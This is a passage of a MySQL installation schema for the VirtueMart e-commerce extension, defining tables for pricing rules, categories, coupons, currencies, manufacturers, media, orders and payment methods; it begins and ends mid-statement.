smallint(1) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'Currency of the Rule', `calc_shopper_published` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Visible for Shoppers', `calc_vendor_published` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Visible for Vendors', `publish_up` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Startdate if nothing is set = permanent', `publish_down` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Enddate if nothing is set = permanent', `for_override` tinyint(1) NOT NULL DEFAULT '0', `calc_params` varchar(18000), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_calc_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `idx_calc_kind` (`calc_kind`), KEY `i_shared` (`shared`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_categories` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_category_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_manufacturers` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_manufacturer_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_shoppergroups` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_countries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_countries` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_country_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_states` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_states` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_state_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_categories` ( `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `category_template` char(128), `category_layout` char(64), `category_product_layout` char(64), `products_per_row` tinyint(2), `limit_list_step` char(32), `limit_list_initial` smallint(1) UNSIGNED, `hits` int(1) unsigned NOT NULL DEFAULT '0', `metarobot` char(40) NOT NULL DEFAULT '', `metaauthor` char(64) NOT NULL DEFAULT '', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_category_id`), KEY `idx_category_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `i_shared` (`shared`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Product Categories are stored here' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_category_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_category_categories` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `category_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `category_child_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY (`category_child_id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_category_parent_id` (`category_parent_id`,`category_child_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Category child-parent relation list'; -- -- Table structure for table `#__virtuemart_category_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_category_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_virtuemart_category_id` (`virtuemart_category_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_countries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_countries` ( `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_worldzone_id` tinyint(11) NOT NULL DEFAULT '1', `country_name` char(64), `country_3_code` char(3), `country_2_code` char(2), `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_country_id`), KEY `idx_country_3_code` (`country_3_code`), KEY `idx_country_2_code` (`country_2_code`), KEY `ordering` (`ordering`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Country records' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_coupons` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_coupons` ( `virtuemart_coupon_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `coupon_code` char(32) NOT NULL DEFAULT '', `percent_or_total` enum('percent','total') NOT NULL DEFAULT 'percent', `coupon_type` enum('gift','permanent') NOT NULL DEFAULT 'gift', `coupon_value` decimal(15,5) NOT NULL DEFAULT '0.00000', `coupon_start_date` datetime, `coupon_expiry_date` datetime, `coupon_value_valid` decimal(15,5) NOT NULL DEFAULT '0.00000', `coupon_used` varchar(200) NOT NULL DEFAULT '', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_coupon_id`), KEY `idx_coupon_code` (`coupon_code`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Used to store coupon codes' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_currencies` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_currencies` ( `virtuemart_currency_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `currency_name` char(64), `currency_code_2` char(2), `currency_code_3` char(3), `currency_numeric_code` int(4), `currency_exchange_rate` decimal(10,5), `currency_symbol` char(4), `currency_decimal_place` char(4), `currency_decimal_symbol` char(4), `currency_thousands` char(4), `currency_positive_style` char(64), `currency_negative_style` char(64), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '1', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_currency_id`), KEY `ordering` (`ordering`), KEY `published` (`published`), KEY `shared` (`shared`), KEY `virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_currency_code_3` (`currency_code_3`), KEY `idx_currency_numeric_code` (`currency_numeric_code`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Used to store currencies'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_customs` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_customs` ( `virtuemart_custom_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `custom_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_vendor_id` smallint(1) NOT NULL DEFAULT '1', `custom_jplugin_id` int(11) NOT NULL DEFAULT '0', `custom_element` char(50) NOT NULL DEFAULT '', `admin_only` tinyint(1) NOT NULL DEFAULT '0' COMMENT '1:Display in admin only', `custom_title` char(255) NOT NULL DEFAULT '' COMMENT 'field title', `show_title` tinyint(1) NOT NULL DEFAULT '1', `custom_tip` char(255) NOT NULL DEFAULT '' COMMENT 'tip', `custom_value` char(255) COMMENT 'defaut value', `custom_field_desc` char(255) COMMENT 'description or unit', `field_type` char(1) NOT NULL DEFAULT '0' COMMENT 'S:string,I:int,P:parent, B:bool,D:date,T:time,H:hidden', `is_list` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'list of values', `is_hidden` tinyint(1) NOT NULL DEFAULT '0' COMMENT '1:hidden', `is_cart_attribute` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Add attributes to cart', `layout_pos` char(24) COMMENT 'Layout Position', `custom_params` text, `shared` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'valide for all vendors?', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_custom_id`), KEY `i_custom_parent_id` (`custom_parent_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_custom_element` (`custom_element`), KEY `idx_field_type` (`field_type`), KEY `i_is_cart_attribute` (`is_cart_attribute`), KEY `i_shared` (`shared`), KEY `i_published` (`published`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='custom fields definition' AUTO_INCREMENT=1 ; CREATE TABLE IF NOT EXISTS `#__virtuemart_invoices` ( `virtuemart_invoice_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_order_id` int(1) UNSIGNED, `invoice_number` char(64), `order_status` char(2), `xhtml` text, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_invoice_id`), UNIQUE KEY `idx_invoice_number` (`invoice_number`,`virtuemart_vendor_id`), KEY `idx_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='custom fields definition' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_manufacturers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturers` ( `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_manufacturercategories_id` int(11), `hits` int(11) unsigned NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_manufacturer_id`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Manufacturers are those who deliver products' AUTO_INCREMENT=1 ; -- -- Table structure for table `#__virtuemart_manufacturer_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturer_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_virtuemart_manufacturer_id` (`virtuemart_manufacturer_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_manufacturercategories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturercategories` ( `virtuemart_manufacturercategories_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_manufacturercategories_id`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Manufacturers are assigned to these categories' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_medias` (was `#__virtuemart_product_files`) -- CREATE TABLE IF NOT EXISTS `#__virtuemart_medias` ( `virtuemart_media_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) NOT NULL DEFAULT '1', `file_title` char(126) NOT NULL DEFAULT '', `file_description` char(254) NOT NULL DEFAULT '', `file_meta` char(254) NOT NULL DEFAULT '', `file_mimetype` char(64) NOT NULL DEFAULT '', `file_type` char(32) NOT NULL DEFAULT '', `file_url` varchar(900) NOT NULL DEFAULT '', `file_url_thumb` varchar(900) NOT NULL DEFAULT '', `file_is_product_image` tinyint(1) NOT NULL DEFAULT '0', `file_is_downloadable` tinyint(1) NOT NULL DEFAULT '0', `file_is_forSale` tinyint(1) NOT NULL DEFAULT '0', `file_params` varchar(17500), `file_lang` varchar(500) NOT NULL, `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_media_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `i_shared` (`shared`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Additional Images and Files which are assigned to products' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_migration_oldtonew_ids` (only used for migration) -- CREATE TABLE IF NOT EXISTS `#__virtuemart_migration_oldtonew_ids` ( `id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `cats` longblob, `catsxref` blob, `manus` longblob, `mfcats` blob, `shoppergroups` longblob, `products` longblob, `products_start` int(1), `orderstates` blob, `orders` longblob, `attributes` longblob, `relatedproducts` longblob, `orders_start` int(1), PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='xref table for vm1 ids to vm2 ids' ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_modules` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_modules` ( `module_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `module_name` char(255), `module_description` varchar(21000), `module_perms` char(255), `published` tinyint(1) NOT NULL DEFAULT '1', `is_admin` enum('0','1') NOT NULL DEFAULT '0', `ordering` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`module_id`), KEY `idx_module_name` (`module_name`), KEY `idx_module_ordering` (`ordering`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='VirtueMart Core Modules, not: Joomla modules' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_orders` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_orders` ( `virtuemart_order_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `order_number` char(64), `customer_number` char(32), `order_pass` char(8), `order_total` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_salesPrice` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_billTaxAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_billTax` varchar(400), `order_billDiscountAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_discountAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_subtotal` decimal(15,5), `order_tax` decimal(10,5), `order_shipment` decimal(10,2), `order_shipment_tax` decimal(10,5), `order_payment` decimal(10,2), `order_payment_tax` decimal(10,5), `coupon_discount` decimal(12,2) NOT NULL DEFAULT '0.00', `coupon_code` char(32), `order_discount` decimal(12,2) NOT NULL DEFAULT '0.00', `order_currency` smallint(1), `order_status` char(1), `user_currency_id` smallint(1), `user_currency_rate` DECIMAL(10,5) NOT NULL DEFAULT '1.00000', `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `customer_note` varchar(20000), `delivery_date` varchar(200), `order_language` char(7), `ip_address` char(15) NOT NULL DEFAULT '', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_id`), KEY `idx_orders_virtuemart_user_id` (`virtuemart_user_id`), KEY `idx_orders_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_orders_order_number` (`order_number`), KEY `idx_orders_virtuemart_paymentmethod_id` (`virtuemart_paymentmethod_id`), KEY `idx_orders_virtuemart_shipmentmethod_id` (`virtuemart_shipmentmethod_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Used to store all orders' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_histories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_histories` ( `virtuemart_order_history_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `order_status_code` char(1) NOT NULL DEFAULT '0', `customer_notified` tinyint(1) NOT NULL DEFAULT '0', `comments` varchar(21000), `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_history_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores all actions and changes that occur to an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_items` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_items` ( `virtuemart_order_item_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(11), `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `virtuemart_product_id` int(11), `order_item_sku` char(64) NOT NULL DEFAULT '', `order_item_name` char(255) NOT NULL DEFAULT '', `product_quantity` int(11), `product_item_price` decimal(15,5), `product_priceWithoutTax` decimal(15,5), `product_tax` decimal(15,5), `product_basePriceWithTax` decimal(15,5), `product_discountedPriceWithoutTax` decimal(15,5), `product_final_price` decimal(15,5) NOT NULL DEFAULT '0.00000', `product_subtotal_discount` decimal(15,5) NOT NULL DEFAULT '0.00000', `product_subtotal_with_tax` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_item_currency` INT(11), `order_status` char(1), `product_attribute` text, `delivery_date` varchar(200), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_item_id`), KEY `virtuemart_product_id` (`virtuemart_product_id`), KEY `i_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `order_status` (`order_status`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores all items (products) which are part of an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_calc_rules` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_calc_rules` ( `virtuemart_order_calc_rule_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` int(11), `virtuemart_order_id` int(11), `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `virtuemart_order_item_id` int(11), `calc_rule_name` char(64) NOT NULL DEFAULT '' COMMENT 'Name of the rule', `calc_kind` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_mathop` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_amount` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_result` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_value` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_currency` smallint(1), `calc_params` varchar(18000), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_calc_rule_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Stores all calculation rules which are part of an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_orderstates` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_orderstates` ( `virtuemart_orderstate_id` tinyint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `order_status_code` char(1) NOT NULL DEFAULT '', `order_status_name` char(64), `order_status_description` varchar(20000), `order_stock_handle` char(1) NOT NULL DEFAULT 'A', `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_orderstate_id`), KEY `idx_order_status_ordering` (`ordering`), KEY `idx_order_status_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='All available order statuses' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_userinfos` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_userinfos` ( `virtuemart_order_userinfo_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `address_type` char(2), `address_type_name` char(32), `company` char(64), `title` char(32), `last_name` char(48), `first_name` char(48), `middle_name` char(48), `phone_1` char(32), `phone_2` char(32), `fax` char(32), `address_1` char(64) NOT NULL DEFAULT '', `address_2` char(64) , `city` char(64) NOT NULL DEFAULT '', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `zip` char(16) NOT NULL DEFAULT '', `email` char(128), `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_userinfo_id`), KEY `i_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_user_id` (`virtuemart_user_id`), KEY `idx_address_type` (`address_type`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores the BillTo and ShipTo Information at order time' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_paymentmethods` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_paymentmethods` ( `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `payment_jplugin_id` int(11) NOT NULL DEFAULT '0', `payment_element` char(50) NOT NULL DEFAULT '', `payment_params` varchar(19000), `shared` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'valide for all vendors?', `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default 